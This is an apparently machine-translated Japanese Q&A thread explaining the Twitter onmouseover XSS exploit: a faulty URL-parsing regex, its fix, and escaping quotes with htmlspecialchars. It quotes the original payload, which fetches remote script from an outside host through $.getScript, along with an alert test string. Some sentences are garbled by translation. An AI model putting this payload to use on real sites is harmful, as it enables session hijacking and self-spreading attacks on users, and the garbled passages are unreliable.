今日のTwitterで何が起こったのか正確に説明できますか?基本的に、エクスプロイトは人々にこのリンクを含むツイートを投稿させていました:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.Gd\u002ffl9A7')"/
これは技術的にはXSS攻撃なのか、それとも他の何かなのか?
Twitterのホームページは次のようになっています。 http://www.flickr.com/photos/travelist/6832853140/
この脆弱性は、URLが適切に解析されなかったことが原因です。たとえば、次のURLがTwitterに投稿されます。
_http://thisisatest.com/@"onmouseover="alert('test xss')"/
_
TwitterはこれをURLとして扱います。解析すると、Twitterはそのコードの周りにリンクをラップするため、HTMLは次のようになります。
_<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span>
_
URLと末尾のスラッシュを入力すると、引用符がエスケープできる(つまり、href
属性を終了します)そこにペダント)URL属性とマウスオーバーを含みます。リンクを閉じる、スクリプト要素を含めるなど、ページに何でも書き込むことができます。また、$.getScript()
を使用できるため、140文字の制限に制限されません。
これ コミットされた場合、コミットすると、このXSSの脆弱性が防止されます。
詳細には、問題の正規表現は次のとおりです。
_REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:wikipedia_disambiguation]}|
@[^\/]+\/|
[\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
_
_@[^\/]+\/
_の部分では、前に@記号を付け、後ろにスラッシュを付けると、任意の文字(スラッシュを除く)を使用できました。
_@#{REGEXEN[:valid_general_url_path_chars]}+\/
_に変更することで、有効なURL文字のみが許可されるようになりました。
はい、これはXSSです。これは javascript event handler を攻撃しています。このXSSの優れている点は、エクスプロイトに_<>
_を必要としないことです。注入される文字列はsize:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.Gd\u002ffl9A7')"
です。
_size::999999999999px
_はそれを非常に大きくし、誰かがマウスをその上に置くとより好意的になります。実際の問題は、_onmouseover=
_イベントハンドラーです。
PHP=でこれを防ぐには、引用符をHTMLエンティティに変換する必要があります:$var=htmlspecialchars($var,ENT_QUOTES);
これは、SQLのように引用符をエスケープできないためです:_\'
_
これはXSSエクスプロイトです。 Twitterがアップデートで認めたとおり ユーザーがJavaScriptコードを投稿することを許可しないことで、このような攻撃を防ぐことができます。常にそれを除外する必要があります。 XSSの回避の詳細については、こちらをご覧ください。 http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
ウィキペディアから:「クロスサイトスクリプティング(XSS)は、悪意のある攻撃者がクライアント側のスクリプトを他のユーザーが表示するWebページに挿入できるようにする、Webアプリケーションに通常見られる一種のコンピューターセキュリティの脆弱性です。」
今日の攻撃は、私にはその法案に適合します。
基本的に、Twitter.comの表示コードに何らかの解析エラーがありました。 URLをHTMLハイパーリンクに変換すると、@文字が正しく処理されず、JavaScriptイベントがHTMLリンクに挿入されていました。